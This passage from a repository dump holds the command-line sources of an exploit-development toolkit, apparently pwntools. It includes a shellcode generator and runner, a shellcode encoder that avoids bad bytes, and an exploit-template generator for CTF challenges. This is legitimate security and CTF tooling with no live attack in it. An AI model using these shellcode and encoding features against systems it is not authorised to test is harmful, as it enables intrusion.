    "content": "from pwnlib.commandline import asm\nfrom pwnlib.commandline import checksec\nfrom pwnlib.commandline import common\nfrom pwnlib.commandline import constgrep\nfrom pwnlib.commandline import cyclic\nfrom pwnlib.commandline import debug\nfrom pwnlib.commandline import disasm\nfrom pwnlib.commandline import disablenx\nfrom pwnlib.commandline import elfdiff\nfrom pwnlib.commandline import elfpatch\nfrom pwnlib.commandline import errno\nfrom pwnlib.commandline import hex\nfrom pwnlib.commandline import libcdb\nfrom pwnlib.commandline import phd\nfrom pwnlib.commandline import pwnstrip\nfrom pwnlib.commandline import scramble\nfrom pwnlib.commandline import shellcraft\nfrom pwnlib.commandline import template\nfrom pwnlib.commandline import unhex\nfrom pwnlib.commandline import update\nfrom pwnlib.commandline import version\nfrom pwnlib.commandline.common import parser as parser\n\ncommands = {\n    'asm': asm.main,\n    'checksec': checksec.main,\n    'constgrep': constgrep.main,\n    'cyclic': cyclic.main,\n    'debug': debug.main,\n    'disasm': disasm.main,\n    'disablenx': disablenx.main,\n    'elfdiff': elfdiff.main,\n    'elfpatch': elfpatch.main,\n    'errno': errno.main,\n    'hex': hex.main,\n    'libcdb': libcdb.main,\n    'phd': phd.main,\n    'pwnstrip': pwnstrip.main,\n    'scramble': scramble.main,\n    'shellcraft': shellcraft.main,\n    'template': template.main,\n    'unhex': unhex.main,\n    'update': update.main,\n    'version': version.main,\n}\n\ndef main():\n    common.entrypoint(commands)\n\nif __name__ == '__main__':\n    main()\n"
  },
  {
    "path": "pwnlib/commandline/phd.py",
    "content": "import argparse\nimport os\nimport signal\nimport sys\nimport io\n\nimport pwnlib.args\npwnlib.args.free_form = False\n\nfrom pwn import *\nfrom pwnlib.commandline import common\n\nparser = common.parser_commands.add_parser(\n    'phd',\n    help = 'Pretty hex dump',\n    description = 'Pretty hex dump'\n)\n\nparser.add_argument(\n    'file',\n    metavar='file',\n    nargs='?',\n    help='File to hexdump.  Reads from stdin if missing.',\n    type=argparse.FileType('rb'),\n    default=getattr(sys.stdin, 'buffer', sys.stdin)\n)\n\nparser.add_argument(\n    \"-w\", \"--width\",\n    help=\"Number of bytes per line.\",\n    default='16',\n)\n\nparser.add_argument(\n    \"-l\", \"--highlight\",\n    help=\"Byte to highlight.\",\n    nargs=\"*\",\n)\n\nparser.add_argument(\n    \"-s\", \"--skip\",\n    help=\"Skip this many initial bytes.\",\n    default='0',\n)\n\nparser.add_argument(\n    \"-c\", \"--count\",\n    help=\"Only show this many bytes.\",\n    default='-1',\n)\n\nparser.add_argument(\n    \"-o\", \"--offset\",\n    help=\"Addresses in left hand column starts at this address.\",\n    default='0',\n)\n\nparser.add_argument(\n    \"--color\",\n    nargs='?',\n    help=\"Colorize the output.  When 'auto' output is colorized exactly when stdout is a TTY.  Default is 'auto'.\",\n    choices = ('always', 'never', 'auto'),\n    default='auto',\n)\n\ndef asint(s):\n    if   s.startswith('0x'):\n        return int(s, 16)\n    elif s.startswith('0'):\n        return int(s, 8)\n    else:\n        return int(s, 10)\n\ndef main(args):\n    infile = args.file\n    width  = asint(args.width)\n    skip   = asint(args.skip)\n    count  = asint(args.count)\n    offset = asint(args.offset)\n\n    # if `--color` has no argument it is `None`\n    color = args.color or 'always'\n    text.when = color\n\n    if skip:\n        try:\n            infile.seek(skip, os.SEEK_CUR)\n        except IOError:\n            infile.read(skip)\n\n    if count != -1:\n        infile = io.BytesIO(infile.read(count))\n\n    hl = []\n    if args.highlight:\n        for hs in args.highlight:\n            for h in hs.split(','):\n                hl.append(asint(h))\n\n    signal.signal(signal.SIGPIPE, signal.SIG_DFL)\n\n    try:\n        for line in hexdump_iter(infile, width, highlight = hl, begin = offset + skip):\n            print(line)\n    except (KeyboardInterrupt, IOError):\n        pass\n\nif __name__ == '__main__':\n    pwnlib.commandline.common.main(__file__, main)\n"
  },
  {
    "path": "pwnlib/commandline/pwnstrip.py",
    "content": "import argparse\n\nimport pwnlib.args\npwnlib.args.free_form = False\n\nfrom pwn import *\nfrom pwnlib.commandline import common\n\np = common.parser_commands.add_parser(\n    'pwnstrip',\n    help = 'Strip binaries for CTF usage',\n    description = 'Strip binaries for CTF usage'\n)\n\ng = p.add_argument_group(\"actions\")\ng.add_argument('-b', '--build-id', help=\"Strip build ID\", action='store_true')\ng.add_argument('-p', '--patch', metavar='FUNCTION', help=\"Patch function\", action='append')\np.add_argument('-o', '--output', type=argparse.FileType('wb'), default=getattr(sys.stdout, 'buffer', sys.stdout))\np.add_argument('file', type=argparse.FileType('rb'))\n\ndef main(args):\n    if not (args.patch or args.build_id):\n        sys.stderr.write(\"Must specify at least one action\\n\")\n        sys.stderr.write(p.format_usage())\n        sys.exit(0)\n\n    elf = ELF(args.file.name)\n    context.clear(arch=elf.arch)\n\n    if args.build_id:\n        for offset in pwnlib.libcdb.get_build_id_offsets():\n            data = elf.read(elf.address + offset + 0xC, 4)\n            if data == 'GNU\\x00':\n                elf.write(elf.address + offset + 0x10, os.urandom(20))\n\n    for function in args.patch:\n        if function not in elf.symbols:\n            log.error(\"Could not find function %r\" % function)\n\n        trap = asm(shellcraft.trap())\n        offset = elf.symbols[function]\n\n        elf.write(elf.address + offset, trap)\n\n    result = elf.data\n\n    if args.output.isatty():\n        result = enhex(result).encode('ascii')\n\n    args.output.write(result)\n\nif __name__ == '__main__':\n    pwnlib.commandline.common.main(__file__, main)\n"
  },
  {
    "path": "pwnlib/commandline/scramble.py",
    "content": "import argparse\nimport sys\n\nimport pwnlib.args\npwnlib.args.free_form = False\n\nfrom pwn import *\nfrom pwnlib.commandline import common\n\nparser = common.parser_commands.add_parser(\n    'scramble',\n    help = 'Shellcode encoder',\n    description = 'Shellcode encoder'\n)\n\nparser.add_argument(\n    \"-f\", \"--format\",\n    help=\"Output format (defaults to hex for ttys, otherwise raw)\",\n    choices=['raw', 'hex', 'string', 'elf']\n)\n\nparser.add_argument(\n    \"-o\",\"--output\",\n    metavar='file',\n    help=\"Output file (defaults to stdout)\",\n    type=argparse.FileType('wb'),\n    default=getattr(sys.stdout, 'buffer', sys.stdout)\n)\n\nparser.add_argument(\n    '-c', '--context',\n    metavar = 'context',\n    action = 'append',\n    type   = common.context_arg,\n    choices = common.choices,\n    help = 'The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: %s' % common.choices,\n)\n\nparser.add_argument(\n    '-p', '--alphanumeric',\n    action='store_true',\n    help = 'Encode the shellcode with an alphanumeric encoder'\n)\n\nparser.add_argument(\n    '-v', '--avoid',\n    action='append',\n    help = 'Encode the shellcode to avoid the listed bytes'\n)\n\nparser.add_argument(\n    '-n', '--newline',\n    dest='avoid',\n    action='append_const',\n    const='\\n',\n    help = 'Encode the shellcode to avoid newlines'\n)\n\nparser.add_argument(\n    '-z', '--zero',\n    dest='avoid',\n    action='append_const',\n    const='\\x00',\n    help = 'Encode the shellcode to avoid NULL bytes'\n)\n\nparser.add_argument(\n    '-d',\n    '--debug',\n    help='Debug the shellcode with GDB',\n    action='store_true'\n)\n\ndef main(args):\n    tty    = args.output.isatty()\n\n    if sys.stdin.isatty():\n        parser.print_usage()\n        sys.exit(0)\n\n    stdin_buffer = getattr(sys.stdin, 'buffer', sys.stdin)\n    output = stdin_buffer.read()\n    fmt    = args.format or ('hex' if tty else 'raw')\n    formatters = {'r':bytes, 'h':enhex, 's':repr}\n\n    if args.alphanumeric:\n        output = alphanumeric(output)\n\n    if args.avoid:\n        output = avoid(output, ''.join(args.avoid))\n\n    if args.debug:\n        proc = gdb.debug_shellcode(output, arch=context.arch)\n        proc.interactive()\n        sys.exit(0)\n\n    if fmt[0] == 'e':\n        sys.stdout.write(make_elf(output))\n    else:\n        output = formatters[fmt[0]](output)\n        if not hasattr(output, 'decode'):\n            output = output.encode('ascii')\n        args.output.write(output)\n\n    if tty and fmt != 'raw':\n        args.output.write(b'\\n')\n\n\nif __name__ == '__main__':\n    pwnlib.commandline.common.main(__file__, main)\n"
  },
  {
    "path": "pwnlib/commandline/shellcraft.py",
    "content": "import argparse\nimport os\nimport sys\nimport types\n\nimport pwnlib.args\npwnlib.args.free_form = False\n\nfrom pwn import *\nfrom pwnlib.commandline import common\n\n\n#  ____  _          _ _                 __ _\n# / ___|| |__   ___| | | ___ _ __ __ _ / _| |_\n# \\___ \\| '_ \\ / _ \\ | |/ __| '__/ _` | |_| __|\n#  ___) | | | |  __/ | | (__| | | (_| |  _| |_\n# |____/|_| |_|\\___|_|_|\\___|_|  \\__,_|_|  \\__|\n\ndef _string(s):\n    out = []\n    for co in bytearray(s):\n        c = chr(co)\n        if co >= 0x20 and co <= 0x7e and c not in '/$\\'\"`':\n            out.append(c)\n        else:\n            out.append('\\\\x%02x' % co)\n    return '\"' + ''.join(out) + '\"\\n'\n\n\np = common.parser_commands.add_parser(\n    'shellcraft',\n    help = 'Microwave shellcode -- Easy, fast and delicious',\n    description = 'Microwave shellcode -- Easy, fast and delicious',\n)\n\n\np.add_argument(\n    '-?', '--show',\n    action = 'store_true',\n    help = 'Show shellcode documentation',\n)\n\np.add_argument(\n    '-o', '--out',\n    metavar = 'file',\n    type = argparse.FileType('wb'),\n    default = getattr(sys.stdout, 'buffer', sys.stdout),\n    help = 'Output file (default: stdout)',\n)\n\np.add_argument(\n    '-f', '--format',\n    metavar = 'format',\n    choices = ['r', 'raw',\n               's', 'str', 'string',\n               'c',\n               'h', 'hex',\n               'a', 'asm', 'assembly',\n               'p',\n               'i', 'hexii',\n               'e', 'elf',\n               'd', 'escaped',\n               'default'],\n    default = 'default',\n    help = 'Output format (default: hex), choose from {e}lf, {r}aw, {s}tring, {c}-style array, {h}ex string, hex{i}i, {a}ssembly code, {p}reprocssed code, escape{d} hex string',\n)\n\np.add_argument(\n    'shellcode',\n    nargs = '*',\n    help = 'The shellcodes you want.  shellcode [args ...] [+ shellcode [args ...]]',\n    type = str\n)\n\np.add_argument(\n    '-d',\n    '--debug',\n    help='Debug the shellcode with GDB',\n    action='store_true'\n)\n\np.add_argument(\n    '--delim',\n    help='Set the delimiter between multiple shellcodes',\n    default='+'\n)\n\np.add_argument(\n    '-b',\n    '--before',\n    help='Insert a debug trap before the code',\n    action='store_true'\n)\n\np.add_argument(\n    '-a',\n    '--after',\n    help='Insert a debug trap after the code',\n    action='store_true'\n)\n\np.add_argument(\n    '-v', '--avoid',\n    action='append',\n    help = 'Encode the shellcode to avoid the listed bytes'\n)\n\np.add_argument(\n    '-n', '--newline',\n    dest='avoid',\n    action='append_const',\n    const='\\n',\n    help = 'Encode the shellcode to avoid newlines'\n)\n\np.add_argument(\n    '-z', '--zero',\n    dest='avoid',\n    action='append_const',\n    const='\\x00',\n    help = 'Encode the shellcode to avoid NULL bytes'\n)\n\np.add_argument(\n    '-r',\n    '--run',\n    help=\"Run output\",\n    action='store_true'\n)\n\np.add_argument(\n    '--color',\n    help=\"Color output\",\n    action='store_true',\n    default=sys.stdout.isatty()\n)\n\np.add_argument(\n    '--no-color',\n    help=\"Disable color output\",\n    action='store_false',\n    dest='color'\n)\n\np.add_argument(\n    '--syscalls',\n    help=\"List syscalls\",\n    action='store_true'\n)\n\np.add_argument(\n    '--address',\n    help=\"Load address\",\n    default=None\n)\n\np.add_argument(\n    '-l', '--list',\n    action='store_true',\n    help='List available shellcodes, optionally provide a filter'\n)\n\np.add_argument(\n    '-s', '--shared',\n    action='store_true',\n    help='Generated ELF is a shared library'\n)\n\ndef get_template(shellcodes):\n    funcs = []\n    for shellcode in shellcodes:\n        func = shellcraft\n        cur_name = shellcode[0]\n        args = []\n        if len(shellcode) > 1:\n            args = shellcode[1:]\n        for attr in cur_name.split('.'):\n            func = getattr(func, attr)\n        funcs.append((cur_name, func, args))\n    return funcs\n\ndef is_not_a_syscall_template(name):\n    template_src = shellcraft._get_source(name)\n    return '/syscalls' not in template_src\n\ndef main(args):\n    delim = '+'\n    if args.delim:\n        delim = args.delim.strip()\n\n    shellcodes = []\n    if args.shellcode:\n        current = []\n        for s in args.shellcode:\n            if s.strip() == delim:\n                shellcodes.append(current)\n                current = []\n            else:\n                current.append(s)\n        if len(current) > 0:\n            shellcodes.append(current)\n\n    if args.list:\n        templates = shellcraft.templates\n\n        if args.shellcode:\n            template_array = []\n            for s in shellcodes:\n                template_array.extend(list(filter(lambda a: s[0] in a, templates)))\n            templates = template_array\n        elif not args.syscalls:\n            templates = list(filter(is_not_a_syscall_template, templates))\n\n        print('\\n'.join(templates))\n        exit()\n\n    if not args.shellcode:\n        common.parser.print_usage()\n        exit()\n\n    try:\n        funcs = get_template(shellcodes)\n    except AttributeError:\n        log.error(\"Unknown shellcraft template %r. Use --list to see available shellcodes.\" % args.shellcode)\n\n    if args.show:\n        for (name, func, _args) in funcs:\n            # remove doctests\n            doc = []\n            in_doctest = False\n            block_indent = None\n            caption = None\n            lines = func.__doc__.splitlines()\n            i = 0\n            if len(funcs) > 1:\n                print('%s:' % name)\n            while i < len(lines):\n                line = lines[i]\n                if line.lstrip().startswith('>>>'):\n                    # this line starts a doctest\n                    in_doctest = True\n                    block_indent = None\n                    if caption:\n                        # delete back up to the caption\n                        doc = doc[:caption - i]\n                        caption = None\n                elif line == '':\n                    # skip blank lines\n                    pass\n                elif in_doctest:\n                    # indentation marks the end of a doctest\n                    indent = len(line) - len(line.lstrip())\n                    if block_indent is None:\n                        if not line.lstrip().startswith('...'):\n                            block_indent = indent\n                    elif indent < block_indent:\n                        in_doctest = False\n                        block_indent = None\n                        # re-evalutate this line\n                        continue\n                elif line.endswith(':'):\n                    # save index of caption\n                    caption = i\n                else:\n                    # this is not blank space and we're not in a doctest, so the\n                    # previous caption (if any) was not for a doctest\n                    caption = None\n\n                if not in_doctest:\n                    doc.append(line)\n                i += 1\n            print('\\n'.join(doc).rstrip())\n            if len(funcs) > 1:\n                print('')\n        exit()\n\n    code_array = []\n    for (name, func, func_args) in funcs:\n        defargs = len(func.__defaults__ or ())\n        reqargs = func.__code__.co_argcount - defargs\n\n        if len(func_args) < reqargs:\n            if defargs > 0:\n                log.critical('%s takes at least %d arguments' % (name, reqargs))\n                sys.exit(1)\n            else:\n                log.critical('%s takes exactly %d arguments' % (name, reqargs))\n                sys.exit(1)\n\n        # Captain ugliness saves the day!\n        for i, val in enumerate(func_args):\n            try:\n                func_args[i] = util.safeeval.expr(val)\n            except ValueError:\n                pass\n\n        # And he strikes again!\n        list(map(common.context_arg, name.split('.')))\n        code_array.append(func(*func_args))\n\n    code = \"\".join(code_array)\n\n    if args.before:\n        code = shellcraft.trap() + code\n    if args.after:\n        code = code + shellcraft.trap()\n\n    if args.format in ['a', 'asm', 'assembly']:\n        if args.color:\n            from pygments import highlight\n            from pygments.formatters import TerminalFormatter\n            from pwnlib.lexer import PwntoolsLexer\n\n            code = highlight(code, PwntoolsLexer(), TerminalFormatter())\n\n        print(code)\n        exit()\n    if args.format == 'p':\n        print(cpp(code))\n        exit()\n\n    assembly = code\n\n    vma = args.address\n    if vma:\n        vma = pwnlib.util.safeeval.expr(vma)\n\n    if args.format in ['e','elf']:\n        args.format = 'default'\n        try: os.fchmod(args.out.fileno(), 0o700)\n        except OSError: pass\n\n\n        if not args.avoid:\n            code = read(make_elf_from_assembly(assembly, vma=vma, shared=args.shared))\n        else:\n            code = asm(assembly)\n            code = encode(code, args.avoid)\n            code = make_elf(code, vma=vma, shared=args.shared)\n            # code = read(make_elf(encode(asm(code), args.avoid)))\n    else:\n        code = encode(asm(assembly), args.avoid)\n\n    if args.format == 'default':\n        if args.out.isatty():\n            args.format = 'hex'\n        else:\n            args.format = 'raw'\n\n    arch = name.split('.')[0]\n\n    if args.debug:\n        if not args.avoid:\n            proc = gdb.debug_assembly(assembly, arch=arch, vma=vma)\n        else:\n            proc = gdb.debug_shellcode(code, arch=arch, vma=vma)\n        proc.interactive()\n        sys.exit(0)\n\n    if args.run:\n        proc = run_shellcode(code, arch=arch)\n        proc.interactive()\n        sys.exit(0)\n\n    if args.format in ['s', 'str', 'string']:\n        code = _string(code)\n    elif args.format == 'c':\n        code = '{' + ', '.join(map(hex, bytearray(code))) + '}' + '\\n'\n    elif args.format in ['h', 'hex']:\n        code = pwnlib.util.fiddling.enhex(code) + '\\n'\n    elif args.format in ['i', 'hexii']:\n        code = hexii(code) + '\\n'\n    elif args.format in ['d', 'escaped']:\n        code = ''.join('\\\\x%02x' % c for c in bytearray(code)) + '\\n'\n    if not sys.stdin.isatty():\n        args.out.write(getattr(sys.stdin, 'buffer', sys.stdin).read())\n\n    if not hasattr(code, 'decode'):\n        code = code.encode()\n    args.out.write(code)\n\nif __name__ == '__main__':\n    pwnlib.commandline.common.main(__file__, main)\n"
  },
  {
    "path": "pwnlib/commandline/template.py",
    "content": "from pwn import *\nfrom pwnlib.commandline import common\nfrom pwnlib.util.misc import which, parse_ldd_output, write\n\nfrom sys import stderr\nfrom mako.lookup import TemplateLookup, Template\n\nparser = common.parser_commands.add_parser(\n    'template',\n    help = 'Generate an exploit template',\n    description = 'Generate an exploit template. If no arguments are given, '\n                    'the current directory is searched for an executable binary and ' \n                    'libc. If only one binary is found, it is assumed to be the '\n                    'challenge binary.'\n)\n\n# change path to hardcoded one when building the documentation\nprintable_data_path = \"pwnlib/data\" if 'sphinx' in sys.modules else pwnlib.data.path\n\nparser.add_argument('exe', nargs='?', help='Target binary. If not given, the current directory is searched for an executable binary.')\nparser.add_argument('--host', help='Remote host / SSH server')\nparser.add_argument('--port', help='Remote port / SSH port', type=int)\nparser.add_argument('--user', help='SSH Username')\nparser.add_argument('--pass', '--password', help='SSH Password', dest='password')\nparser.add_argument('--libc', help='Path to libc binary to use. If not given, the current directory is searched for a libc binary.')\nparser.add_argument('--path', help='Remote path of file on SSH server')\nparser.add_argument('--quiet', help='Less verbose template comments', action='store_true')\nparser.add_argument('--color', help='Print the output in color', choices=['never', 'always', 'auto'], default='auto')\nparser.add_argument('--template', help='Path to a custom template. Tries to use \\'~/.config/pwntools/templates/pwnup.mako\\', if it exists. '\n                                   'Check \\'%s\\' for the default template shipped with pwntools.' % \n                                        os.path.join(printable_data_path, \"templates\", \"pwnup.mako\"))\nparser.add_argument('--no-auto', help='Do not automatically detect missing binaries', action='store_false', dest='auto')\n\ndef get_docker_image_libraries():\n    \"\"\"Tries to retrieve challenge libraries from a Docker image built from the Dockerfile in the current working directory.\n    \n    The libraries are retrieved by parsing the output of running ldd on /bin/sh.\n    Supports regular Docker images as well as jail images.\n    \"\"\"\n    with log.progress(\"Extracting challenge libraries from Docker image\") as progress:\n        if not which(\"docker\"):\n            progress.failure(\"docker command not found\")\n            return None, None\n        # maps jail image name to the root directory of the child image\n        jail_image_to_chroot_dir = {\n            \"pwn.red/jail\": \"/srv\",\n        }\n        dockerfile = open(\"Dockerfile\", \"r\").read()\n        jail = None\n        chroot_dir = \"/\"\n        for jail_image in jail_image_to_chroot_dir:\n            if re.search(r\"^FROM %s\" % jail_image, dockerfile, re.MULTILINE):\n                jail = jail_image\n                chroot_dir = jail_image_to_chroot_dir[jail_image]\n                break\n        try:\n            progress.status(\"Building image\")\n            image_sha = subprocess.check_output([\"docker\", \"build\", \"-q\", \".\"], stderr=subprocess.PIPE, shell=False).decode().strip()\n\n            progress.status(\"Retrieving library paths\")\n            ldd_command = [\"-c\", \"chroot %s /bin/sh -c 'ldd /bin/sh'\" % chroot_dir]\n            ldd_output = subprocess.check_output([\n                    \"docker\",\n                    \"run\",\n                    \"--rm\",\n                    \"--entrypoint\",\n                    \"/bin/sh\",\n                    ] + ([\"--privileged\"] if jail else []) + [\n                        image_sha,\n                    ] + ldd_command,\n                stderr=subprocess.PIPE, \n                shell=False\n            ).decode()\n            \n            libc, ld = None, None\n            libc_basename, ld_basename = None, None\n            for lib_path in parse_ldd_output(ldd_output):\n                if \"libc.\" in lib_path:\n                    libc = lib_path\n                    libc_basename = os.path.basename(lib_path)\n                if \"ld-\" in lib_path:\n                    ld = lib_path\n                    ld_basename = os.path.basename(lib_path)\n\n            if not (libc and ld):\n                progress.failure(\"Could not find libraries\")\n                return None, None\n\n            progress.status(\"Copying libraries to current directory\")\n            for filename, basename in zip((libc, ld), (libc_basename, ld_basename)):\n                cat_command = [\"-c\", \"chroot %s /bin/sh -c '/bin/cat %s'\" % (chroot_dir, filename)]\n                contents = subprocess.check_output([\n                        \"docker\",\n                        \"run\",\n                        \"--rm\",\n                        \"--entrypoint\",\n                        \"/bin/sh\",\n                        ] + ([\"--privileged\"] if jail else []) + [\n                            image_sha\n                        ] + cat_command,\n                    stderr=subprocess.PIPE, \n                    shell=False\n                )\n                write(basename, contents)\n\n        except subprocess.CalledProcessError as e:\n            print(e.stderr.decode(), file=sys.stderr)\n            progress.failure(\"docker failed with status: %d\" % e.returncode)\n            return None, None\n\n        progress.success(\"Retrieved libraries from Docker image\")\n    return libc_basename, ld_basename\n\ndef detect_missing_binaries(args):\n    \"\"\"Automatically detects challenge binaries and libraries in the current directory.\n    \n    This function scans the current directory for executable files, libc, and ld libraries.\n    If a Dockerfile is present and no libraries are found, it attempts to extract them from\n    the Docker image, but only if the binary is not statically linked.\n    \n    Args:\n        args: Argument namespace containing exe and libc attributes.\n        \n    Returns:\n        tuple: A pair of (executable_path, libc_path) where either may be None if not found.\n    \"\"\"\n    log.info(\"Automatically detecting challenge binaries...\")\n    # look for challenge binary, libc, and ld in current directory\n    exe, libc, ld = args.exe, args.libc, None\n    has_dockerfile = False\n    other_files = []\n    for filename in os.listdir(\".\"):\n        if not os.path.isfile(filename):\n            continue\n        if not libc and ('libc-' in filename or 'libc.' in filename):\n            libc = filename\n        elif not ld and 'ld-' in filename:\n            ld = filename\n        elif filename == \"Dockerfile\":\n            has_dockerfile = True\n        else:\n            if os.access(filename, os.X_OK):\n                other_files.append(filename)\n    if not exe:\n        if len(other_files) == 1:\n            exe = other_files[0]\n        elif len(other_files) > 1:\n            log.warning(\"Failed to find challenge binary. There are multiple binaries in the current directory: %s\", other_files)\n    \n    # Check if the binary is statically linked before trying to extract libraries from Docker\n    is_statically_linked = False\n    if exe:\n        try:\n            binary = ELF(exe, checksec=False)\n            is_statically_linked = binary.statically_linked\n            if is_statically_linked:\n                log.info(\"Binary is statically linked, no need for external libraries\")\n        except Exception as e:\n            log.warning(\"Could not check if binary is statically linked: %s\", e)\n    \n    # Only extract libraries from Docker if the binary is not statically linked\n    if has_dockerfile and exe and not (libc or ld) and not is_statically_linked: \n        libc, ld = get_docker_image_libraries()\n\n    if exe != args.exe:\n        log.success(\"Found challenge binary %r\", exe)\n    if libc != args.libc:\n        log.success(\"Found libc binary %r\", libc)\n    return exe, libc\n\ndef main(args):\n\n    lookup = TemplateLookup(\n        directories      = [\n            os.path.expanduser('~/.config/pwntools/templates/'),\n            os.path.join(pwnlib.data.path, 'templates')\n        ],\n        module_directory = None\n    )\n\n    # For the SSH scenario, check that the binary is at the\n    # same path on the remote host.\n    if args.user:\n        if not (args.path or args.exe):\n            log.error(\"Must specify --path or a exe\")\n\n        with ssh(args.user, args.host, args.port or 22, args.password or None) as s:\n            try:\n                remote_file = args.path or args.exe\n                s.download(remote_file)\n            except Exception:\n                log.warning(\"Could not download file %r, opening a shell\", remote_file)\n                s.interactive()\n                return\n\n        if not args.exe:\n            args.exe = os.path.basename(args.path)\n\n    if args.auto and (args.exe is None or args.libc is None):\n        args.exe, args.libc = detect_missing_binaries(args)\n    \n    if args.template:\n        template = Template(filename=args.template) # Failing on invalid file is ok\n    else:\n        template = lookup.get_template('pwnup.mako')\n    \n    output = template.render(args.exe,\n                             args.host,\n                             args.port,\n                             args.user,\n                             args.password,\n                             args.libc,\n                             args.path,\n                             args.quiet)\n\n    # Fix Mako formatting bs\n    output = re.sub('\\n\\n\\n', '\\n\\n', output)\n\n    # Colorize the output if it's a TTY\n    if args.color == 'always' or (args.color == 'auto' and sys.stdout.isatty()):\n        from pygments import highlight\n        from pygments.formatters import TerminalFormatter\n        from pygments.lexers.python import PythonLexer\n        output = highlight(output, PythonLexer(), TerminalFormatter())\n\n    print(output)\n\n    # If redirected to a file, make the resulting script executable\n    if not sys.stdout.isatty():\n        try: os.fchmod(sys.stdout.fileno(), 0o700)\n        except OSError: pass\n\nif __name__ == '__main__':\n    pwnlib.commandline.common.main(__file__, main)\n    \n"
  },
  {
    "path": "pwnlib/commandline/unhex.py",
    "content": "import argparse\nimport sys\nfrom string import whitespace\n\nfrom pwnlib.commandline import common\nfrom pwnlib.util.fiddling import unhex\n\nparser = common.parser_commands.add_parser(\n    'unhex',\n    help = 'Decodes hex-encoded data provided on the command line or via stdin.',\n    description = 'Decodes hex-encoded data provided on the command line or via stdin.'\n)\n\nparser.add_argument('hex', nargs='*',\n    help='Hex bytes to decode')\n\ndef main(args):\n    try:\n        o = getattr(sys.stdout, 'buffer', sys.stdout)\n        if not args.hex:\n            s = getattr(sys.stdin, 'buffer', sys.stdin).read().translate(None, whitespace.encode('ascii'))\n            o.write(unhex(s))\n        else:\n            o.write(unhex(''.join(args.hex)))\n    except TypeError as e:\n        sys.stderr.write(str(e) + '\\n')\n        raise\n\nif __name__ == '__main__':\n    common.main(__file__, main)\n"
  },
  {
    "path": "pwnlib/commandline/update.py",
    "content": "#!/usr/bin/env python3\nimport subprocess\n\nimport pwnlib.args\npwnlib.args.free_form = False\n\nfrom pwn import *\nfrom pwnlib.commandline import common\n\np = common.parser_commands.add_parser(\n    'update',\n    help = 'Check for pwntools updates',\n    description = 'Check for pwntools updates'\n)\n\np.add_argument('--install', action='store_true', help='''\n    Install the update automatically.\n''')\n\np.add_argument('--pre', action='store_true', help='''\n    Check for pre-releases.\n''')\n\ndef main(a):\n    result = pwnlib.update.perform_check(prerelease=a.pre)\n    if result and a.install:\n        subprocess.check_call(result, shell=False)\n\nif __name__ == '__main__':\n    pwnlib.commandline.common.main(__file__, main)\n"
  },
  {
    "path": "pwnlib/commandline/version.py",
    "content": "#!/usr/bin/env python3\nimport os\nimport subprocess\n\nimport pwnlib.args\npwnlib.args.free_form = False\n\nfrom pwn import *\nfrom pwnlib.commandline import common\n\nparser = common.parser_commands.add_parser(\n    'version',\n    help = 'Pwntools version',\n    description = 'Pwntools version'\n)\n\ndef main(a):\n\tversion = pwnlib.version\n\n\tgit_root = os.path.dirname(os.path.dirname(os.path.dirname(__file__)))\n\tif os.path.exists(os.path.join(git_root, '.git')):\n\t\tgitver = subprocess.check_output(['git', '-C', git_root, 'log', '-1', '--format=%h (%cr)'])\n\t\tbranch = subprocess.check_output(['git', '-C', git_root, 'rev-parse', '--abbrev-ref', 'HEAD'])\n\t\tversion = '%s-%s-%s' % (version, branch.decode().strip(), gitver.decode())\n\n\tlog.info(\"Pwntools v%s\" % version)\n\nif __name__ == '__main__':\n    pwnlib.commandline.common.main(__file__, main)\n"
  },
  {
    "path": "pwnlib/config.py",
    "content": "\"\"\"Allows per-user and per-host configuration of Pwntools settings.\n\nThe list of configurable options includes all of the logging symbols\nand colors, as well as all of the default values on the global context\nobject.\n\nThe configuration file is read from ``~/.pwn.conf``, ``$XDG_CONFIG_HOME/pwn.conf``\n(``$XDG_CONFIG_HOME`` defaults to ``~/.config``, per XDG Base Directory Specification),\nand ``/etc/pwn.conf``.\n\nThe configuration file is only read in ``from pwn import *`` mode, and not\nwhen used in library mode (``import pwnlib``).  To read the configuration\nfile in library mode, invoke :func:`.config.initialize`.\n\nThe ``context`` section supports complex types, at least as far as is\nsupported by ``pwnlib.util.safeeval.expr``.\n\n::\n\n    [log]\n    success.symbol=😎\n    error.symbol=☠\n    info.color=blue\n\n    [context]\n    adb_port=4141\n    randomize=1\n    timeout=60\n    terminal=['x-terminal-emulator', '-e']\n\n    [update]\n    interval=7\n\"\"\"\nimport configparser\nimport os\n\nregistered_configs = {}\n\ndef register_config(section, function):\n    \"\"\"Registers a configuration section.\n\n    Arguments:\n        section(str): Named configuration section\n        function(callable): Function invoked with a dictionary of\n            ``{option: value}`` for the entries in the section.\n    \"\"\"\n    registered_configs[section] = function\n\ndef initialize():\n    \"\"\"Read the configuration files.\"\"\"\n    from pwnlib.log import getLogger\n    log = getLogger(__name__)\n\n    xdg_config_home = os.environ.get('XDG_CONFIG_HOME',\n                                     os.path.expanduser(\"~/.config\"))\n\n    c = configparser.ConfigParser()\n    c.read(['/etc/pwn.conf',\n            os.path.join(xdg_config_home, 'pwn.conf'),\n            os.path.expanduser('~/.pwn.conf')])\n\n    for section in c.sections():\n        if section not in registered_configs:\n            log.warn(\"Unknown configuration section %r\", section)\n            continue\n        settings = dict(c.items(section))\n        registered_configs[section](settings)\n"
  },
  {
    "path": "pwnlib/constants/LICENSE.txt",
    "content": "The file __init__.py is covered by the same license as the majority of this\nproject, that is an MIT license.\n\nThe remaining files of this directory and all subdirectories are covered\nby the terms decribed in the file:\n\npwnlib/data/includes/LICENSE.txt\n"
  },
  {
    "path": "pwnlib/constants/__init__.py",
